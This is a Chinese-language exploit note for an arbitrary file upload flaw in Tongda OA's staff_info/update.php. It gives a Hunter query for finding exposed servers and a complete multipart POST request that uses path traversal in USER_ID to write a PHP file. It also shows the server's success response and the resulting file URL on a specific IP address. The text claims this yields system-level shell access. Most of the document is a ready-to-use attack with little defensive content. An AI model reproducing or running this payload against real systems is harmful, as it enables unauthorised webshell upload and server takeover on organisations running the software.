

## T10-14通达-OA-文件上传

### 漏洞描述:

后台/general/hr/manage/staff\_info/update.php存在任意文件上传漏洞,用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。

### 网站图片:



### 网络测绘:

#### Hunter 语法:

app.name="通达 OA"

### 漏洞复现:

#### payload:

```
POST /general/hr/manage/staff_info/update.php?USER_ID=../../general/reportshop/workshop/report/attachment-remark/1.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Cookie: PHPSESSID=ffelnhdgmui12fbm7mhjfi5h3; path=/
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: 1.14.47.145:7777
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 203
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="ATTACHMENT"; filename="."

123
--00content0boundary00
Content-Disposition: form-data; name="submit"

保存
--00content0boundary00--
```

#### 效果图:

```

美化 Raw Hex 搜索...
1 POST /general/hr/manage/staff_info/update.php?USER_ID=
  ../general/reportshop/workshop/report/attachment-remark/1.php HTTP/1.1
2 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;
  rv:109.0) Gecko/20100101 Firefox/117.0
3 Cookie: PHPSESSID=ffelnhdqmui12fbm7mhj5h3; path=/
4 Content-Type: multipart/form-data;
  boundary=00content0boundary00
5 Host: 1.14.47.145:7777
6 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
7 Content-Length: 203
8 Connection: close
9
10 --00content0boundary00
11 Content-Disposition: form-data; name="ATTACHMENT"; filename="."
12
13 123
14 --00content0boundary00
15 Content-Disposition: form-data; name="submit"
16
17 保存
18 --00content0boundary00--
19

```

```

美化 Raw Hex 页面渲染 搜索...
42 <table class="MessageBox" align="center" width="320"
43 cellpadding="0" cellspacing="0">
44 <tr class="head">
45 <td class="left">
46 </td>
47 <td class="center">
48 <div class="title">
49 提示
50 </div>
51 </td>
52 <td class="right">
53 </td>
54 </tr>
55 <tr class="msg">
56 <td class="left">
57 </td>
58 <td class="center info">
59 <div class="msg-content">
60 档案已保存。
61 </div>
62 </td>
63 <td class="right">
64 </td>
65 </tr>
66 <tr class="foot">
67 <td class="left">
68 </td>
69 <td class="center">
70 <b>
71 </b>
72 </td>
73 <td class="right">
74 </td>
75 </tr>
76 </table>
77 <center>
78 <input type="button" class="BigButton" value="返回"
79 onClick="
80 window.location.href='staff_info.php?USER_ID=../general/reportshop/workshop/report/attachment-remark/1.php?nnstatus=1'"/>
81 </center>
82 </body>
83 </html>
84

```

文件上传位置

http://1.14.47.145:7777/general/reportshop/workshop/report/attachment-remark/1.php

1.14.47.145:7777/general/reportshop/workshop/report/attachment-remark/1.php

fofa 信息收集 MD5 沙箱 blog study 靶场 tools chagpt dnslog wiki 漏洞查询